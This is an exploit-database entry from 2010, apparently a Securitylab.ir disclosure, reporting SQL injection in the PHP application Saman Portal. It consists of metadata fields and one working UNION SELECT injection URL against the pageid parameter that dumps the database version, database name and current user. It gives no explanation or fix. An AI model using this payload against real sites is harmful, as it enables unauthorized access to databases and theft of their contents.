Saman Portal - SQL Injection

Author: Pouya Daneshmand
type: webapps
platform: php
port: 
date_added: 2010-01-30 
date_updated:  
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Saman Portal
# Vendor: http://www.sis-eg.com
#################################################################
Vulnerability:
http://site.com/index.php?module=subjects&func=viewpage&pageid=-1+union+select+1,2,3,null,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,null,14,15,16,17--
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran@yahoo.com<mailto:whh_iran@yahoo.com>
###################################################################